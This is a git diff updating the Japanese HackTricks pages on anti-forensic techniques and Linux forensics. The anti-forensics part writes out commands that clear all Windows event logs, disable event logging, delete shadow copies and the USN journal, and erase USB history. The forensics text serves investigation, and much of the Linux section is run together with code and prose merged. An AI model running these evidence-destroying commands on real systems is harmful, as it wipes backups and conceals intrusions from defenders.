[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つける * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、自分のハッキングトリックを共有する +* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index b0fb9392d..da65e92da 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,164 +1,161 @@ +# 反フォレンジック技術 +
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert)を使用して、AWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見 -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする。 - -* **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
- -# タイムスタンプ +## タイムスタンプ 攻撃者は**ファイルのタイムスタンプを変更**して検出を回避する可能性があります。\ -MFT内の属性`$STANDARD_INFORMATION`および`$FILE_NAME`にタイムスタンプが含まれている可能性があります。 +MFT内の属性`$STANDARD_INFORMATION`と`$FILE_NAME`にタイムスタンプを見つけることができます。 -両方の属性には4つのタイムスタンプがあります:**変更**、**アクセス**、**作成**、および**MFTレジストリの変更**(MACEまたはMACB)。 +両方の属性には4つのタイムスタンプがあります:**変更**、**アクセス**、**作成**、**MFTレジストリの変更**(MACEまたはMACB)。 **Windowsエクスプローラ**や他のツールは**`$STANDARD_INFORMATION`**から情報を表示します。 -## TimeStomp - アンチフォレンジックツール +### TimeStomp - 反フォレンジックツール -このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。したがって、**疑わしい活動を特定**することが可能です。 +このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。そのため、**疑わしい活動を特定**することが可能です。 -## Usnjrnl +### Usnjrnl -**USNジャーナル**(Update Sequence Number Journal)はNTFS(Windows NTファイルシステム)の機能であり、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)ツールを使用してこれらの変更を調査できます。 +**USN Journal**(Update Sequence Number Journal)はNTFS(Windows NTファイルシステム)の機能で、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)ツールを使用してこれらの変更を調査できます。 -![](<../../.gitbook/assets/image (449).png>) +![](<../../.gitbook/assets/image (801).png>) 前述の画像は、ファイルにいくつかの変更が加えられたことが示されているツールの**出力**です。 -## $LogFile +### $LogFile -ファイルシステムへのすべてのメタデータ変更は、[先行ログ記録](https://en.wikipedia.org/wiki/Write-ahead_logging)としてプロセスに記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)などのツールを使用して、このファイルを解析し変更を特定できます。 +ファイルシステムへのすべてのメタデータ変更は、[先行ログ記録](https://en.wikipedia.org/wiki/Write-ahead\_logging)としてログに記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)などのツールを使用して、このファイルを解析して変更を特定できます。 -![](<../../.gitbook/assets/image (450).png>) +![](<../../.gitbook/assets/image (137).png>) -ツールの出力でも、**いくつかの変更が行われた**ことがわかります。 +再び、ツールの出力では、**いくつかの変更が行われた**ことがわかります。 -同じツールを使用して、**タイムスタンプがいつ変更されたか**を特定することが可能です: +同じツールを使用して、**タイムスタンプがいつ変更されたか**を特定できます: -![](<../../.gitbook/assets/image (451).png>) +![](<../../.gitbook/assets/image (1089).png>) -* CTIME:ファイルの作成時刻 -* ATIME:ファイルの変更時刻 -* MTIME:ファイルのMFTレジストリの変更 -* RTIME:ファイルのアクセス時刻 +- CTIME:ファイルの作成時刻 +- ATIME:ファイルの変更時刻 +- MTIME:ファイルのMFTレジストリの変更 +- RTIME:ファイルのアクセス時刻 -## `$STANDARD_INFORMATION`と`$FILE_NAME`の比較 +### `$STANDARD_INFORMATION`と`$FILE_NAME`の比較 疑わしい変更されたファイルを特定する別の方法は、両方の属性の時間を比較し、**不一致**を探すことです。 -## ナノ秒 +### ナノ秒 **NTFS**のタイムスタンプは**100ナノ秒の精度**を持ちます。そのため、2010-10-10 10:10:**00.000:0000のようなタイムスタンプを持つファイルは非常に疑わしいです**。 -## SetMace - アンチフォレンジックツール +### SetMace - 反フォレンジックツール -このツールは、属性`$STARNDAR_INFORMATION`と`$FILE_NAME`の両方を変更できます。ただし、Windows Vista以降では、この情報を変更するにはライブOSが必要です。 +このツールは、`$STARNDAR_INFORMATION`と`$FILE_NAME`の両方の属性を変更できます。ただし、Windows Vista以降では、この情報を変更するにはライブOSが必要です。 -# データの隠蔽 +## データの隠蔽 -NFTSはクラスターと最小情報サイズを使用します。つまり、ファイルが1つのクラスターと半分を使用している場合、**残りの半分はファイルが削除されるまで使用されません**。そのため、このスラックスペースにデータを**隠すことが可能**です。 +NFTSはクラスターと最小情報サイズを使用します。つまり、ファイルが1つのクラスターと半分を占有している場合、**残りの半分はファイルが削除されるまで使用されません**。そのため、このスラックスペースにデータを**隠すことが可能**です。 -この「隠された」スペースにデータを隠すことができるslackerなどのツールがあります。ただし、`$logfile`および`$usnjrnl`の分析により、データが追加されたことが示される場合があります: +この「隠された」スペースにデータを隠すことができるslackerなどのツールがあります。ただし、`$logfile`と`$usnjrnl`の分析により、データが追加されたことがわかります: -![](<../../.gitbook/assets/image (452).png>) +![](<../../.gitbook/assets/image (1060).png>) -その後、FTK Imagerなどのツールを使用してスラックスペースを回復することが可能です。この種のツールは、コンテンツを難読化したり、暗号化したりすることができます。 +その後、FTK Imagerなどのツールを使用してスラックスペースを取得できます。この種のツールは、コンテンツを難読化したり、暗号化したりすることができることに注意してください。 -# UsbKill +## UsbKill -このツールは、USBポートに変更が検出されるとコンピューターを**シャットダウン**します。\ +これは、USBポートの変更が検出されるとコンピューターを**シャットダウン**するツールです。\ これを発見する方法は、実行中のプロセスを検査し、**実行中の各Pythonスクリプトを確認**することです。 -# ライブLinuxディストリビューション +## ライブLinuxディストリビューション -これらのディストリビューションは**RAM内で実行**されます。NTFSファイルシステムが書き込み権限でマウントされている場合にのみ、それらを検出することが可能です。読み取り権限のみでマウントされている場合は侵入を検出することはできません。 +これらのディストリビューションは**RAMメモリ内で実行**されます。NTFSファイルシステムが書き込み権限でマウントされている場合にのみ、侵入を検出することが可能です。読み取り権限でマウントされている場合は、侵入を検出することはできません。 -# 安全な削除 +## 安全な削除 [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windowsの設定 +## Windowsの設定 -フォレンジック調査を困難にするために、Windowsの複数のログ記録方法を無効にすることが可能です。 +フォレンジック調査を困難にするために、Windowsのさまざまなログ記録方法を無効にすることが可能です。 -## タイムスタンプの無効化 - UserAssist +### タイムスタンプの無効化 - UserAssist これは、ユーザーが実行した各実行可能ファイルの日付と時刻を維持するレジストリキーです。 UserAssistを無効にするには、2つの手順が必要です: -1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`および`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`という2つのレジストリキーをゼロに設定して、UserAssistを無効にしたいことを示します。 +1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`と`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`の2つのレジストリキーをゼロに設定して、UserAssistを無効にしたいことを示します。 2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`のようなレジストリサブツリーをクリアします。 -## タイムスタンプの無効化 - Prefetch +### タイムスタンプの無効化 - Prefetch -これは、Windowsシステムのパフォーマンスを向上させるために実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジックの実践にも役立ちます。 +これは、Windowsシステムのパフォーマンスを向上させることを目的として実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジックの実践にも役立ちます。 -* `regedit`を実行します -* ファイルパス`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`を選択します -* `EnablePrefetcher`および`EnableSuperfetch`の両方を右クリックし、それぞれの「修正」を選択して、値を1(または3)から0に変更します -* 再起動します +- `regedit`を実行します +- ファイルパス`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`を選択します +- `EnablePrefetch`と`EnableSuperfetch`の両方を右クリックし、それぞれの「変更」を選択して、値を1(または3)から0に変更します +- 再起動します -## タイムスタンプの無効化 - 最終アクセス時刻 +### タイムスタンプの無効化 - 最終アクセス時刻 -Windows NTサーバーのNTFSボリュームからフォルダーが開かれるたびに、システムは**リストされた各フォルダーのタイムスタンプフィールド**である最終アクセス時刻を更新します。使用頻度の高いNTFSボリュームでは、これがパフォーマンスに影響する可能性があります。 +Windows NTサーバーのNTFSボリュームからフォルダーが開かれるたびに、システムは**リストされた各フォルダーのタイムスタンプフィールドを更新**します。これを最終アクセス時刻と呼びます。使用頻度の高いNTFSボリュームでは、これがパフォーマンスに影響する可能性があります。 1. レジストリエディタ(Regedit.exe)を開きます。 2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`に移動します。 3. `NtfsDisableLastAccessUpdate`を探します。存在しない場合は、このDWORDを追加し、その値を1に設定してプロセスを無効にします。 4. レジストリエディタを閉じ、サーバーを再起動します。 +### USB履歴の削除 -## USB履歴の削除 - -すべての**USBデバイスエントリ**は、Windowsレジストリの**USBSTOR**レジストリキーの下に保存されます。このキーには、PCまたはラップトップにUSBデバイスを接続するたびに作成されるサブキーが含まれています。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。これを削除すると、USBの履歴が削除されます。\ -これらを削除したことを確認するために、ツール[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)を使用することもできます(および削除することもできます)。 +すべての**USBデバイスエントリ**は、Windowsレジストリの**USBSTOR**レジストリキーの下に保存されます。このキーには、PCやラップトップにUSBデバイスを接続するたびに作成されるサブキーが含まれています。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**これを削除**するとUSBの履歴が削除されます。\ +また、[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)ツールを使用して削除したことを確認することもできます(および削除することもできます)。 USBに関する情報を保存する別のファイルは、`C:\Windows\INF`内の`setupapi.dev.log`ファイルです。これも削除する必要があります。 -## シャドウコピーの無効化 +### シャドウコピーの無効化 `vssadmin list shadowstorage`でシャドウコピーを**リスト**します\ `vssadmin delete shadow`を実行してそれらを**削除**します [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)で提案された手順に従ってGUIからも削除できます。 -シャドウコピーを無効にするには、[ここからの手順](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)に従います: +シャドウコピーを無効にするには[ここからの手順](https://support.waters.com/KB\_Inf/Other/WKB15560\_How\_to\_disable\_Volume\_Shadow\_Copy\_Service\_VSS\_in\_Windows)に従います: -1. Windowsスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力して、サービスプログラムを開きます。 +1. Windowsのスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力してサービスプログラムを開きます。 2. リストから「Volume Shadow Copy」を見つけ、右クリックしてプロパティにアクセスします。 3. 「起動の種類」ドロップダウンメニューから「無効」を選択し、変更を適用してOKをクリックします。 また、レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`でコピーされるファイルの構成を変更することも可能です。 -## 削除されたファイルの上書き +### 削除されたファイルの上書き -* **Windowsツール**を使用できます:`cipher /w:C` これにより、Cドライブ内の未使用ディスク領域からデータを削除するようにcipherに指示されます。 -* [**Eraser**](https://eraser.heidi.ie)などのツールも使用できます +* **Windowsツール**を使用できます:`cipher /w:C` これにより、cipherにCドライブ内の未使用ディスク領域からデータを削除するよう指示されます。 +* [**Eraser**](https://eraser.heidi.ie)のようなツールも使用できます -## Windowsイベントログの削除 +### Windowsイベントログの削除 * Windows + R --> eventvwr.msc --> "Windows Logs"を展開 --> 各カテゴリを右クリックして「ログをクリア」を選択 * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Windowsイベントログの無効化 +### Windowsイベントログの無効化 * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` * サービスセクション内でサービス「Windows Event Log」を無効にします * `WEvtUtil.exec clear-log`または`WEvtUtil.exe cl` -## $UsnJrnlの無効化 +### $UsnJrnlの無効化 * `fsutil usn deletejournal /d c:` - - diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 6e5836031..c42775534 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -1,31 +1,427 @@ -# Linux Forensics +# Linuxフォレンジクス -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! -**HackTricksをサポートする他の方法:HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)**をチェックしてください!**[**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)**を入手してください**[**The PEASS Family**](https://opensea.io/collection/the-peass-family)**を発見し、独占的な**[**NFTs**](https://opensea.io/collection/the-peass-family)**のコレクションを見つけてください💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。HackTricksと**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。** +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
-**初期情報収集基本情報まず最初に、USBに良く知られたバイナリとライブラリが含まれていることが推奨されます(単にUbuntuを取得して、\_ /bin\_、\_ /sbin\_、\_ /lib\_、および\_ /lib64\_のフォルダをコピーできます)。次にUSBをマウントし、環境変数を変更してこれらのバイナリを使用します:**export PATH=/mnt/usb/bin:/mnt/usb/sbinexport LD\_LIBRARY\_PATH=/mnt/usb/lib:/mnt/usb/lib64**一度システムを良いものや既知のバイナリを使用するように設定したら、基本情報を抽出することができます:**date #Date and time (Clock may be skewed, Might be at a different timezone)uname -a #OS infoifconfig -a || ip a #Network interfaces (promiscuous mode?)ps -ef #Running processesnetstat -anp #Proccess and portslsof -V #Open filesnetstat -rn; route #Routing tabledf; mount #Free space and mounted devicesfree #Meam and swap spacew #Who is connectedlast -Faiwx #Loginslsmod #What is loadedcat /etc/passwd #Unexpected data?cat /etc/shadow #Unexpected data?find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory**疑わしい情報基本情報を取得する際に、次のような奇妙な点をチェックする必要があります:Rootプロセス は通常、低いPIDで実行されます。そのため、大きなPIDで実行されているRootプロセスが見つかった場合は疑うべきです`/etc/passwd` 内にシェルを持たないユーザーの登録されたログイン を確認する`/etc/shadow` 内にシェルを持たないユーザーのパスワードハッシュ を確認するメモリーダンプ実行中のシステムのメモリを取得するには、**[**LiME**](https://github.com/504ensicsLabs/LiME) **を使用することをお勧めします。**\ -**コンパイル するには、被害者マシンが使用している同じカーネル を使用する必要があります。被害者マシンに LiME やその他の何かをインストールすることはできない ことを覚えておいてください。それにより、複数の変更が加えられますしたがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms` を使用できます**\ -**それ以外の場合は、**[**LiME**](https://github.com/504ensicsLabs/LiME) **をgithub からダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの正確なカーネルヘッダーを取得する には、単に`/lib/modules/` ディレクトリをあなたのマシンにコピー し、それを使用して LiME をコンパイル します:**make -C /lib/modules/\/build M=$PWDsudo insmod lime.ko "path=/home/sansforensics/Desktop/mem\_dump.bin format=lime"**LiMEは3つのフォーマットをサポートしています:Raw(すべてのセグメントが連結されたもの)Padded(Rawと同じですが、右ビットにゼロが入っています)Lime(メタデータを含む推奨フォーマット)LiMEは、`path=tcp:4444`のような方法を使用して、ダンプをネットワーク経由で送信することもできます。ディスクイメージングシャットダウンまず、システムをシャットダウンする必要があります。これは常に選択肢とは限りません。なぜなら、システムが企業がシャットダウンする余裕のない本番サーバーである場合があるからです。**\ -**システムをシャットダウンする方法には、通常のシャットダウンと\*\*「プラグを抜く」シャットダウンの2つがあります。前者はプロセスが通常通り終了し、ファイルシステムが同期されることを可能にしますが、悪意のあるソフトウェアが証拠を破壊する可能性もあります。後者の「プラグを抜く」アプローチは、一部の情報が失われる可能性があります(メモリのイメージをすでに取得しているため、失われる情報はほとんどありません)し、悪意のあるソフトウェアが何もできなくなります。したがって、悪意のあるソフトウェアが疑われる場合は、システムで`sync`\*\* コマンドを実行してプラグを抜いてください。ディスクのイメージを取得するケースに関連する何かにコンピュータを接続する前に、情報を変更しないように読み取り専用でマウントされることを確認する必要があります。**#Create a raw copy of the diskdd if=\ of=\ bs=512#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)dcfldd if=\ of=\ bs=512 hash=\ hashwindow=\ hashlog=\dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes**ディスクイメージの事前分析データがない状態でディスクイメージを作成します。**#Find out if it's a disk image using "file" commandfile disk.imgdisk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)#Check which type of disk image it'simg\_stat -t evidence.imgraw#You can list supported types withimg\_stat -i listSupported image format types:raw (Single or split raw file (dd))aff (Advanced Forensic Format)afd (AFF Multiple File)afm (AFF with external metadata)afflib (All AFFLIB image formats (including beta ones))ewf (Expert Witness Format (EnCase))#Data of the imagefsstat -i raw -f ext4 disk.imgFILE SYSTEM INFORMATION--------------------------------------------File System Type: Ext4Volume Name:Volume ID: 162850f203fd75afab4f1e4736a7e776Last Written at: 2020-02-06 06:22:48 (UTC)Last Checked at: 2020-02-06 06:15:09 (UTC)Last Mounted at: 2020-02-06 06:15:18 (UTC)Unmounted properlyLast mounted on: /mnt/disk0Source OS: Linux\[...]#ls inside the imagefls -i raw -f ext4 disk.imgd/d 11: lost+foundd/d 12: Documentsd/d 8193: folder1d/d 8194: folder2V/V 65537: $OrphanFiles#ls inside folderfls -i raw -f ext4 disk.img 12r/r 16: secret.txt#cat file inside imageicat -i raw -f ext4 disk.img 16ThisisTheMasterSecret\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)**を使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。**\ -**今すぐアクセスしてください:既知のマルウェアを検索変更されたシステムファイルLinuxには、潜在的に問題のあるファイルを見つけるために重要なシステムコンポーネントの整合性を確認するためのツールが用意されています。RedHatベースのシステム:包括的なチェックには`rpm -Va`を使用します。Debianベースのシステム:初期検証には`dpkg --verify`を使用し、その後`debsums | grep -v "OK$"`(`apt-get install debsums`を使用して`debsums`をインストールした後)を使用して問題を特定します。マルウェア/ルートキット検出ツールマルウェアを見つけるのに役立つツールについては、次のページを参照してください:インストールされたプログラムを検索DebianとRedHatの両方のシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを検討してください。Debianの場合、パッケージのインストールに関する詳細を取得するために、\_`/var/lib/dpkg/status`**_**と**_**`/var/log/dpkg.log`\_を調査し、`grep`を使用して特定の情報をフィルタリングします。RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm`を使用してRPMデータベースをクエリし、インストールされたパッケージをリストします。これらのパッケージマネージャーの外で手動でインストールされたソフトウェアを特定するには、**_**`/usr/local`**_**、**_**`/opt`**_**、**_**`/usr/sbin`**_**、**_**`/usr/bin`**_**、**_**`/bin`**_**、\_`/sbin`\_などのディレクトリを調査します。ディレクトリリストをシステム固有のコマンドと組み合わせて使用し、既知のパッケージに関連付けられていない実行可能ファイルを特定することで、すべてのインストールされたプログラムを検索を強化します。**# Debian package and log detailscat /var/lib/dpkg/status | grep -E "Package:|Status:"cat /var/log/dpkg.log | grep installed# RedHat RPM database queryrpm -qa --root=/mntpath/var/lib/rpm# Listing directories for manual installationsls /usr/sbin /usr/bin /bin /sbin# Identifying non-package executables (Debian)find /sbin/ -exec dpkg -S {} \\; | grep "no path found"# Identifying non-package executables (RedHat)find /sbin/ –exec rpm -qf {} \\; | grep "is not"# Find exacuable filesfind / -type f -executable | grep \\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)**を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。**\ -**今すぐアクセスしてください:削除された実行中のバイナリの回復/tmp/exec から実行され、その後削除されたプロセスを想像してください。それを抽出することが可能です**cd /proc/3746/ #PID with the exec file deletedhead -1 maps #Get address of the file. It was 08048000-08049000dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it**オートスタートの場所を調査するスケジュールされたタスク**cat /var/spool/cron/crontabs/\* \\/var/spool/cron/atjobs \\/var/spool/anacron \\/etc/cron\* \\/etc/at\* \\/etc/anacrontab \\/etc/incron.d/\* \\/var/spool/incron/\* \\#MacOSls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ \~/Library/LaunchAgents/**サービスマルウェアがインストールされている可能性のあるサービスのパス:/etc/inittab:rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。/etc/rc.d/ および /etc/rc.boot/:サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。/etc/init.d/:Debianなどの特定のLinuxバージョンで起動スクリプトを保存するために使用されます。サービスは、Linuxのバリアントに応じて /etc/inetd.conf または /etc/xinetd/ からも起動される可能性があります。/etc/systemd/system:システムおよびサービスマネージャースクリプト用のディレクトリ。/etc/systemd/system/multi-user.target.wants/:マルチユーザーランレベルで起動する必要があるサービスへのリンクが含まれています。/usr/local/etc/rc.d/:カスタムまたはサードパーティのサービス用。\~/.config/autostart/:ユーザー固有の自動起動アプリケーション用であり、ユーザー向けのマルウェアの隠れた場所となる可能性があります。/lib/systemd/system/:インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。カーネルモジュールマルウェアによってルートキットコンポーネントとして利用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです:/lib/modules/$(uname -r):実行中のカーネルバージョン用のモジュールを保持します。/etc/modprobe.d:モジュールのロードを制御する構成ファイルが含まれています。/etc/modprobe および /etc/modprobe.conf:グローバルモジュール設定用のファイル。その他の自動起動場所Linuxは、ユーザーログイン時に自動的にプログラムを実行するためのさまざまなファイルを使用しており、これらは潜在的にマルウェアを隠す可能性があります:/etc/profile.d/\*、/etc/profile、および /etc/bash.bashrc:すべてのユーザーログイン時に実行されます。\~/.bashrc、\~/.bash\_profile、\~/.profile、および \~/.config/autostart:ユーザー固有のファイルで、ユーザーのログイン時に実行されます。/etc/rc.local:すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。ログの調査Linuxシステムは、さまざまなログファイルを介してユーザーのアクティビティやシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、およびその他のセキュリティインシデントを特定するために重要です。主要なログファイルには次のものがあります:/var/log/syslog(Debian)または /var/log/messages(RedHat):システム全体のメッセージとアクティビティをキャプチャします。/var/log/auth.log(Debian)または /var/log/secure(RedHat):認証試行、成功および失敗したログインを記録します。`grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。/var/log/boot.log:システムの起動メッセージが含まれています。/var/log/maillog または /var/log/mail.log:メールサーバーのアクティビティを記録し、メール関連サービスの追跡に役立ちます。/var/log/kern.log:エラーや警告を含むカーネルメッセージを保存します。/var/log/dmesg:デバイスドライバーメッセージを保持します。/var/log/faillog:失敗したログイン試行を記録し、セキュリティ侵害の調査を支援します。/var/log/cron:cronジョブの実行を記録します。/var/log/daemon.log:バックグラウンドサービスのアクティビティを追跡します。/var/log/btmp:失敗したログイン試行を文書化します。/var/log/httpd/:Apache HTTPDのエラーおよびアクセスログが含まれています。/var/log/mysqld.log または /var/log/mysql.log:MySQLデータベースのアクティビティを記録します。/var/log/xferlog:FTPファイル転送を記録します。/var/log/:ここで予期しないログを常にチェックしてください。Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となる欠落や順序の乱れを探すことが重要です。Linuxは各ユーザーのコマンド履歴を維持しており、以下に保存されています:\~/.bash\_history\~/.zsh\_history\~/.zsh\_sessions/\*\~/.python\_history\~/.\*\_historyさらに、`last -Faiwx` コマンドを使用してユーザーログインのリストを取得できます。未知または予期しないログインがあるかどうかを確認してください。追加の特権を付与できるファイルをチェックしてください:予期しないユーザー特権が付与されている可能性があるかどうかを確認するために、`/etc/sudoers` を確認してください。予期しないユーザー特権が付与されている可能性があるかどうかを確認するために、`/etc/sudoers.d/` を確認してください。異常なグループメンバーシップや権限を特定するために、`/etc/groups` 